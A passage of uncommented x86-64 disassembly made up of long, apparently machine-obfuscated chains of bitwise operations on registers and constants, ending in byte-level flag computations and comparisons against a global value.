and edx, edi
not edi
and edi, ecx
or edi, edx
or eax, r8d
mov ecx, eax
not ecx
and ecx, 0xdbaf3352
and eax, 0x2450ccad
or eax, ecx
mov ecx, eax
xor ecx, 0x2010008c
mov r9d, edi
not r9d
xor eax, 0xdbaf3352
mov edx, r9d
and edx, 0x54c3fd73
and edi, 0xab3c028c
or edi, edx
or r9d, eax
and eax, 0x54c3fd73
and ecx, 0xab3c028c
or ecx, eax
xor ecx, edi
not r9d
or r9d, ecx
mov eax, r9d
not eax
and eax, 0xc0110320
mov ecx, r9d
and ecx, 0x16480c12
or ecx, eax
xor ecx, 0x16480c12
and r9d, 0x29a6f0cd
or r9d, ecx
mov eax, r10d
mov edx, dword [rbp - 0x3c]
and eax, edx
mov ecx, r10d
and ecx, eax
xor eax, r10d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9e6139ae
and eax, 0x619ec651
or eax, ecx
mov esi, eax
xor esi, 0x200cc011
xor eax, 0x8c20118e
and eax, 0xcdb217ce
and esi, 0x324de831
or esi, eax
xor esi, 0x5bb893d2
mov r8d, esi
or r8d, 0x960a841c
mov r14d, r8d
not r14d
mov eax, edx
and eax, 0xdb45bce4
mov ebx, r10d
and ebx, 0x24ba431b
or ebx, eax
xor ebx, 0xb2b0c707
and r10d, 0x69f57be3
or r10d, ebx
mov ebx, r10d
not ebx
mov edi, r10d
and edi, 0x7ad0da4d
xor r10d, 0x2d4f06a3
and r10d, ebx
and ebx, 0x852f25b2
or ebx, edi
mov ecx, r8d
xor ecx, 0x2d4f06a3
and ecx, r8d
or esi, 0xd6bafd5c
mov edi, ecx
not edi
mov edx, edi
and edx, 0xd532182
and ecx, 0xf0a45a69
or ecx, edx
mov edx, esi
not edx
or edi, esi
and esi, 0xf53a196
and edx, 0x20040221
or edx, esi
mov esi, ebx
xor esi, 0x852f25b2
xor ebx, 0x7ad0da4d
xor edx, ecx
mov ecx, esi
and ecx, 0xd2b0f95c
not edi
or edi, edx
mov edx, ecx
and edx, r10d
xor r10d, ecx
or r10d, edx
mov ecx, edi
not ecx
and ecx, r10d
not r10d
and r10d, edi
or r10d, ecx
mov ecx, r14d
and ecx, 0x1f13360
and r8d, 0x680ecc8f
or r8d, ecx
or r14d, ebx
and ebx, 0x97f13370
and esi, 0x680ecc8f
or esi, ebx
xor esi, r8d
not r14d
or r14d, esi
mov ecx, r14d
not ecx
and ecx, 0x1be69f7f
and r14d, 0xe4196080
or r14d, ecx
xor r14d, 0xe4196080
mov ecx, r10d
and ecx, r14d
xor r14d, r10d
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0xeda257e3
and r14d, 0x125da81c
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0x11c61d3d
and r14d, 0xee39e2c2
or r14d, ecx
mov r10d, r14d
xor r10d, 0x6a6ecec2
mov r11d, r9d
mov edx, r9d
mov esi, r9d
xor esi, 0x8649289b
and esi, r9d
mov ebx, r9d
not ebx
mov edi, ebx
and edi, 0x8f18a092
and r11d, 0x70e75f6d
or r11d, edi
mov ecx, r11d
xor ecx, 0x40631b61
xor r14d, 0x9591313d
xor r11d, 0x8f18a092
mov edi, r11d
and edi, 0xba94449e
and ecx, 0x456bbb61
or ecx, edi
mov edi, r10d
and edi, 0xba94449e
mov eax, r14d
and eax, 0x456bbb61
or eax, edi
mov r8d, dword [0x1400968b0]
xor eax, ecx
or r11d, r10d
not r11d
or r11d, eax
mov r9d, r11d
not r9d
and ebx, 0x86000892
and edx, 0x492009
or edx, ebx
mov eax, edx
xor eax, 0x400009
xor edx, 0xffb6dff6
mov ecx, r14d
and ecx, 0x1088a
and r10d, 0x86482011
or r10d, ecx
mov ecx, edx
and ecx, 0x9e0db006
and eax, 0x400899
or eax, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0x9e0db006
and esi, 0x61f24ff9
or esi, ecx
mov ecx, r10d
xor ecx, 0x80480000
xor r10d, 0x80290c0
or r14d, 0x8649289b
xor esi, eax
mov ebx, r14d
not ebx
not edx
or edx, esi
and r10d, 0xe02b0d1
and ecx, 0x8049080a
or ecx, r10d
and r14d, 0xe02b0d1
and ebx, 0x71b44724
or ebx, r14d
xor ebx, ecx
mov eax, edx
not eax
and eax, 0xf13611b
and edx, 0xf0ec9ee4
or edx, eax
mov eax, ebx
not eax
and eax, 0xf13611b
and ebx, 0xf0ec9ee4
or ebx, eax
xor ebx, edx
mov eax, r11d
and eax, 0x5c947b18
xor r11d, 0x10169dfd
and r11d, r9d
and r9d, 0xa36b84e7
or r9d, eax
mov r10d, r9d
xor r10d, 0xa36b84e7
mov edx, ebx
mov edi, ebx
xor edi, 0xefe96202
and edi, ebx
not ebx
and ebx, 0x2c3e5712
and edx, 0xd3c1a8ed
or edx, ebx
mov r14d, edx
xor r14d, 0xd3c1a8ed
xor r9d, 0xb37d191a
and r9d, r10d
xor edx, 0x2c284202
or edx, 0x10169dfd
mov esi, r9d
not esi
mov ecx, esi
and ecx, 0xdf7f04e2
and r9d, 0x2080fb1d
or r9d, ecx
mov ecx, r11d
not ecx
or esi, ecx
and ecx, 0xdf7f04e2
and r11d, 0x2080fb1d
or r11d, ecx
mov ecx, edx
not ecx
xor r11d, r9d
not esi
or esi, r11d
mov eax, edi
not eax
mov ebx, edx
and ebx, 0xce77446
and ecx, 0xe3080200
or ecx, ebx
or edx, eax
and eax, 0xce77446
and edi, 0xf3188bb9
or edi, eax
xor edi, ecx
not edx
or edx, edi
mov eax, esi
not eax
and eax, edx
not edx
and edx, esi
or edx, eax
mov eax, r10d
and eax, r14d
xor r14d, r10d
or r14d, eax
mov ebx, r14d
not ebx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xe4298f26
and edx, 0x1bd670d9
or edx, ecx
or eax, r14d
and r14d, 0xe4298f26
and ebx, 0x1bd670d9
or ebx, r14d
xor ebx, edx
not eax
or eax, ebx
mov r9d, eax
not r9d
mov ecx, r9d
and ecx, 0x138012e
mov edi, eax
and edi, 0x80027210
or edi, ecx
mov ecx, edi
xor ecx, 0x200
xor edi, 0x1374892c
mov ebx, r9d
or ebx, 0x813a733e
mov edx, ebx
not edx
and edi, 0x9376f93c
and ecx, 0x80202
or ecx, edi
and ebx, 0x9376f93c
and edx, 0x6c8104c1
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7ec58cc1
and edx, 0x813a733e
or edx, ecx
mov r10d, edx
not r10d
and r9d, 0xca85e3ca
and eax, 0x357a1c35
or eax, r9d
mov ebx, eax
xor ebx, 0x357a1c35
xor eax, 0x82010242
and eax, 0xa20b1a73
mov ecx, ebx
and ecx, 0x5df4e58c
or ecx, eax
xor ecx, 0x5df4e58c
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x3a7f3dd3
and ecx, 0xc580c22c
or ecx, eax
mov eax, r10d
and eax, 0x319da7af
and edx, 0xce625850
or edx, eax
mov r9d, edx
xor r9d, 0xce625850
mov r11d, ecx
xor r11d, 0x3a7f3dd3
xor edx, 0xda039ad7
and edx, r9d
or r10d, 0xeb9e3d78
mov eax, r10d
not eax
xor ecx, 0x2e1eff54
and ecx, r11d
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0xcf2734b4
and edx, 0x30d8cb4b
or edx, esi
mov esi, r11d
or esi, 0xeb9e3d78
or ebx, r10d
and r10d, 0xcf2734b4
and eax, 0x1040c203
or eax, r10d
mov edi, esi
not edi
xor eax, edx
not ebx
or ebx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x79f63243
and ecx, 0x8609cdbc
or ecx, edx
or eax, esi
and esi, 0x79f63243
and edi, 0x401c084
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov ecx, ebx
not ecx
and ecx, 0x960b173a
and ebx, 0x69f4e8c5
or ebx, ecx
mov ecx, eax
not ecx
and ecx, 0x960b173a
and eax, 0x69f4e8c5
or eax, ecx
xor eax, ebx
mov ecx, r9d
and ecx, r11d
xor r11d, r9d
or r11d, ecx
mov edx, r11d
not edx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x5de3152d
and eax, 0xa21cead2
or eax, ebx
or ecx, r11d
and r11d, 0x5de3152d
and edx, 0xa21cead2
or edx, r11d
xor edx, eax
not ecx
or ecx, edx
mov r9d, ecx
not r9d
mov ebx, ecx
xor ebx, 0xe6a41c08
and ebx, ecx
mov eax, ecx
or eax, 0x195be3f7
mov edi, ebx
not edi
mov esi, eax
and esi, 0x38176861
mov edx, r9d
and edx, 0xc6a01408
or edx, esi
or eax, edi
and edi, 0x38176861
and ebx, 0xc7e8979e
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
not edx
and edx, 0xe6a41c08
and eax, 0x195be3f7
or eax, edx
and r9d, 0x1c8fc1f1
and ecx, 0xe3703e0e
or ecx, r9d
mov edx, ecx
xor edx, 0xe3703e0e
xor ecx, 0x1c8fc1f1
and ecx, eax
not eax
and edx, eax
or ecx, edx
xor eax, ecx
test eax, ecx
sete r9b
setne r10b
cmp r8d, 9
setg r11b
cmp r8d, 0xa
setl cl
mov eax, ecx
xor al, r11b
mov ebx, ecx
and bl, al
mov r8d, ecx
xor r8b, al
or r8b, bl
mov ebx, r8d
xor bl, 1
mov edx, eax
xor dl, 1
xor cl, dl
not cl
and cl, dl
xor al, r11b
not al
and al, r11b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and bl, r8b
and al, dl
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov esi, r10d
xor sil, r9b
mov eax, esi
xor al, 1
and al, sil
mov ecx, esi
and cl, al
xor al, sil
or al, cl
and r10b, al
xor al, 1
and al, r9b
or al, r10b
mov ecx, r9d
and cl, sil
xor sil, r9b
or sil, cl
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov byte [rbp - 0x3c], dl
mov eax, edx
xor al, 1
mov byte [rbp - 0x48], al
or dl, al
mov byte [rbp - 0x33], dl
xor dl, 1
mov byte [rbp - 0x34], dl
mov ecx, eax
xor cl, dl
mov eax, ecx
xor al, 1
and cl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
and dl, cl
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
and r8b, bl
mov edx, ebx
xor dl, al
or al, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, r8b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and cl, bl
or bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov r14d, eax
xor r14b, 1
mov edi, esi
xor dil, 1
mov r8d, esi
or r8b, dil
mov ecx, r8d
xor cl, 1
mov edx, ecx
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r8b
xor bl, 1
or bl, dl
xor bl, dil
mov edx, edi
xor dl, cl
or cl, dil
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
and bl, cl
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
xor bl, dl
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r12d, ecx
xor r12b, 1
mov edx, ecx
and dl, r12b
or r12b, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, r12b
mov ebx, ecx
and bl, r12b
xor r12b, cl
or r12b, bl
xor r12b, 1
mov ecx, edx
and cl, r12b
xor r12b, dl
or r12b, cl
mov ecx, r12d
xor cl, 1
or cl, r12b
xor r12b, cl
xor r12b, 1
and r12b, cl
mov ecx, r14d
or cl, al
xor cl, al
mov r8d, ecx
and r8b, al
xor r8b, 1
mov edx, r8d
xor dl, cl
or r8b, cl
xor r8b, 1
or r8b, dl
mov r15d, r8d
xor r15b, 1
mov r9d, r15d
and r9b, r8b
mov edx, eax
and dl, r14b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r13d, edx
xor r13b, 1
mov ecx, edx
or cl, r13b
xor r14b, cl
xor r14b, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ebx, r14d
and bl, al
xor al, r14b
or al, bl
xor r13b, dl
xor cl, 1
or cl, r13b
mov edx, ecx
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and cl, bl
or bl, dl
and al, dl
or al, cl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor r9b, 1
mov ecx, r8d
xor cl, r9b
or r9b, r8b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, 1
and r9b, r15b
or r15b, cl
xor r15b, 1
and cl, r8b
or cl, r9b
mov edx, r15d
and dl, cl
xor cl, r15b
or cl, dl
mov r8d, ecx
xor r8b, 1
and cl, r8b
mov edx, r8d
and dl, cl
mov ebx, r8d
xor bl, cl
or dl, bl
xor dl, cl
xor dl, 1
xor bl, 1
or bl, r8b
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r14d, ebx
xor r14b, 1
mov edx, eax
xor dl, 1
mov r11d, edx
xor r11b, al
and r11b, dl
mov ecx, r14d
or cl, bl
xor cl, bl
mov r15d, r11d
xor r15b, 1
mov r13d, r15d
and r13b, r11b
mov r8d, r15d
and r8b, r13b
xor r13b, r15b
or r13b, r8b
mov r10d, ecx
and r10b, bl
and bl, al
mov r8d, eax
or r8b, dl
mov eax, r8d
xor al, 1
mov r9d, r8d
and r9b, al
xor r15b, r8b
xor r8b, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, r8b
mov r8d, r13d
xor r8b, 1
and r8b, r9b
xor r9b, 1
and r9b, r13b
or r9b, r8b
or al, r11b
xor al, 1
or al, r15b
mov r8d, eax
xor r8b, r9b
xor r9b, 1
or r9b, al
xor r8b, 1
xor r9b, 1
or r9b, r8b
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
or al, r9b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, al
or r9b, al
xor r9b, 1
or r9b, cl
mov eax, edx
xor al, r14b
and al, dl
and dl, r14b
or dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor r9b, 1
mov eax, r9d
or al, dl
xor r9b, dl
mov ecx, eax
xor cl, r9b
xor r9b, 1
xor cl, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov eax, r12d
xor al, 1
mov ecx, eax
and cl, r12b
xor cl, 1
mov edx, r12d
xor dl, cl
or cl, r12b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
mov r8d, ebx
xor r8b, 1
or dl, r8b
xor dl, 1
xor al, r12b
and al, r12b
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, r8b
or cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
or bl, cl
xor bl, 1
xor cl, dl
or bl, cl
mov r8d, ebx
xor r8b, 1
or al, dl
xor al, 1
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, r8d
and dl, bl
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r8d, r9d
xor r8b, 1
mov ecx, r8d
and cl, r9b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov r10d, ecx
xor r10b, 1
mov ebx, r9d
or bl, r8b
mov eax, ebx
xor al, 1
and al, r10b
and cl, bl
or cl, al
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
xor r9b, bl
mov r11d, edx
xor r11b, 1
mov r15d, r11d
and r15b, dl
mov eax, r15d
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
or dl, r11b
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r14d, r10d
xor r14b, 1
mov eax, r11d
and al, r15b
xor r15b, r11b
or r15b, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, r9d
xor al, 1
and al, bl
xor bl, 1
mov ecx, ebx
xor cl, r9b
and cl, bl
and bl, r9b
or bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, r10d
xor al, r14b
and al, r10b
mov edx, r14d
or dl, r10b
mov r8d, edx
xor r8b, 1
mov ecx, eax
xor cl, dl
and cl, al
and dl, al
xor al, 1
and al, r8b
or dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, 1
mov ecx, edx
xor cl, r15b
xor cl, 1
and cl, r15b
or dl, r15b
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov edx, r15d
xor dl, 1
and r15b, r14b
or r14b, dl
and dl, r10b
or dl, r15b
xor dl, 1
mov eax, r14d
xor al, dl
or dl, r14b
xor dl, 1
or dl, al
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
xor al, 1
mov r9d, ecx
xor r9b, al
or al, cl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, 1
and cl, dl
mov r9d, r8d
and r9b, dl
xor r8b, dl
xor dl, 1
and al, dl
or al, cl
mov r11d, edi
and r11b, sil
or r8b, r9b
xor al, 1
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov edx, ebx
or dl, cl
xor dl, 1
xor bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
mov edx, edi
xor dl, r11b
or bl, cl
mov r15d, eax
xor r15b, bl
and al, r15b
and r15b, bl
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov bl, byte [rbp - 0x3c]
mov eax, ebx
mov cl, byte [rbp - 0x33]
and al, cl
mov r13b, byte [rbp - 0x34]
mov r9b, byte [rbp - 0x48]
and r13b, r9b
or r13b, al
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, ecx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov r14d, r13d
xor r14b, 1
mov eax, r11d
xor al, 1
or al, sil
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
or cl, al
xor dil, sil
and sil, dil
mov r12d, esi
and sil, cl
xor cl, 1
xor r12b, 1
mov eax, ecx
xor al, r12b
and al, cl
and r12b, cl
or r12b, sil
mov ecx, eax
xor cl, 1
xor al, r12b
xor r12b, 1
or r12b, cl
xor r12b, 1
or r12b, al
mov r10d, r12d
xor r10b, 1
mov ecx, r14d
or cl, r13b
xor cl, 1
or cl, r14b
mov eax, r9d
mov edx, ebx
and al, bl
xor r9b, bl
mov r8d, ecx
xor r8b, 1
or r9b, al
or dil, r11b
mov eax, edi
xor al, 1
and dil, al
mov ebx, eax
and bl, dil
xor dil, al
mov eax, r9d
xor al, 1
or dil, bl
and r9b, cl
mov edx, r8d
and dl, al
or dl, r9b
mov r9d, edx
xor r9b, cl
and r9b, dl
and cl, r8b
xor cl, 1
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, eax
and bl, dl
xor al, dl
mov r8d, edi
xor r8b, 1
or al, bl
mov edx, eax
xor al, 1
and al, r9b
xor r9b, 1
and dl, r9b
or al, dl
mov edx, r9d
and dl, cl
xor r9b, cl
or r9b, dl
mov ecx, r9d
xor cl, al
xor al, 1
xor cl, 1
or al, r9b
xor al, 1
or al, cl
and r8b, r12b
mov edx, r10d
and dl, dil
or dl, r8b
xor dl, 1
or dl, r12b
xor dil, r10b
mov ecx, edi
xor cl, 1
and cl, dil
mov ebx, ecx
and bl, dil
xor cl, dil
or cl, bl
mov ebx, ecx
and bl, dl
xor dl, 1
xor cl, 1
and cl, dl
or cl, bl
mov ebx, edx
xor bl, dil
or dl, dil
xor dl, 1
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
and al, r8b
mov ebx, r8d
and bl, cl
and cl, dl
or cl, al
xor cl, 1
or cl, r8b
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, dl
xor dl, bl
and dl, bl
mov r8d, edx
and dl, cl
xor cl, 1
xor r8b, 1
mov eax, ecx
xor al, r8b
and al, cl
and r8b, cl
or r8b, dl
mov ecx, eax
xor cl, 1
xor al, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, r14d
and al, r13b
mov edx, eax
xor dl, 1
mov ecx, r13d
xor cl, dl
or dl, r13b
xor dl, 1
or dl, cl
mov r9d, edx
xor r9b, 1
or dl, r9b
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r11d, ebx
xor r11b, cl
or cl, bl
xor cl, 1
or cl, r11b
mov ebx, r14d
and bl, al
xor al, r14b
or al, bl
xor al, cl
mov ecx, edx
and cl, r14b
xor dl, r14b
mov r11d, r9d
or r11b, r10b
xor r9b, r10b
or r10b, r12b
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, r12d
xor cl, r10b
and r10b, r12b
or r10b, cl
xor r10b, 1
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, r10d
xor dl, 1
and r10b, dl
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
xor r10b, cl
mov eax, r11d
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, r11b
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and al, r9b
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov r9d, r10d
xor r9b, 1
mov ecx, eax
xor cl, 1
mov edx, r10d
and dl, r9b
and cl, al
mov ebx, edx
xor bl, 1
xor dl, r10b
or bl, r9b
xor bl, 1
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or cl, dl
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
xor dl, 1
mov ebx, eax
and bl, cl
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
xor bl, dl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov r10d, r8d
xor r10b, 1
mov esi, r8d
or sil, r10b
mov eax, esi
xor al, 1
mov ebx, esi
and bl, al
xor bl, 1
mov r11d, eax
xor r11b, bl
or bl, al
mov edi, edx
or dil, r9b
xor bl, 1
or bl, r11b
mov eax, ebx
xor al, 1
and al, r10b
and bl, r8b
or bl, al
mov eax, esi
and al, r10b
xor sil, r10b
or sil, al
mov r11d, esi
xor r11b, bl
xor bl, 1
or bl, sil
mov eax, edi
xor al, 1
xor r11b, 1
xor bl, 1
or bl, r11b
mov r11d, edx
and r11b, dil
and al, r9b
or al, r11b
mov r11d, edi
and r11b, r9b
xor dil, r9b
or dil, r11b
xor dil, 1
mov r11d, eax
and r11b, dil
xor dil, al
or dil, r11b
xor dil, bl
and dl, r10b
and r8b, r9b
or r8b, dl
mov eax, r10d
xor al, r9b
or r10b, r9b
xor r10b, 1
or r10b, al
xor r8b, 1
mov eax, r8d
xor al, r10b
or r8b, r10b
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
xor r8b, dil
xor r8b, 1
and dil, r8b
xor dil, 1
mov eax, edi
xor al, r8b
or dil, r8b
xor dil, 1
or dil, al
mov r8d, edi
xor r8b, 1
mov edx, r8d
and dl, dil
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov ebx, r8d
or bl, dil
mov r10d, ebx
xor r10b, 1
mov eax, edx
xor al, bl
and al, dl
and r10b, r9b
and bl, dl
or bl, r10b
mov r10d, eax
xor r10b, 1
xor al, bl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov ecx, ebx
xor cl, 1
and cl, bl
mov r10d, ecx
and r10b, bl
xor cl, bl
or cl, r10b
and r8b, r9b
and dl, dil
or dl, r8b
xor r9b, dl
and r9b, dl
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
mov edx, ecx
or dl, r9b
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, r9d
xor al, cl
and r9b, al
and al, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
xor dl, 1
and cl, bl
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
mov ebx, r8d
and bl, dl
mov eax, ecx
or al, r8b
xor r8b, dl
or bl, r8b
xor al, bl
mov r9d, eax
xor r9b, 1
and al, bl
mov ebx, eax
and bl, r9b
xor al, r9b
or al, bl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, al
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov ecx, r15d
xor r15b, bl
xor bl, 1
xor cl, 1
or cl, bl
xor r15b, 1
mov edx, ecx
xor dl, r15b
or r15b, cl
xor r15b, 1
or r15b, dl
mov r8d, r15d
xor r8b, 1
mov ecx, ebx
xor cl, al
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
mov r9d, edx
xor r9b, 1
and al, bl
or al, cl
mov r10d, eax
xor r10b, 1
mov ebx, r9d
and bl, dl
mov ecx, ebx
xor cl, 1
xor bl, r9b
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r10d, r8d
or r10b, r15b
mov r11d, r10d
xor r11b, 1
mov edx, r10d
and dl, r11b
mov ebx, r15d
and bl, r8b
mov r9d, r10d
and r9b, dl
xor dl, r10b
or dl, r9b
mov r9d, r15d
and r9b, bl
xor bl, r15b
or bl, r9b
mov r9d, ecx
xor r9b, 1
xor bl, dl
mov edx, r9d
or dl, cl
xor dl, 1
xor r10b, r15b
or r11b, r8b
xor r11b, 1
or r11b, r10b
xor r11b, 1
mov r10d, ebx
and r10b, r11b
xor r11b, bl
mov eax, ecx
xor al, r9b
and al, cl
or r11b, r10b
xor al, dl
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
and al, r11b
xor r11b, 1
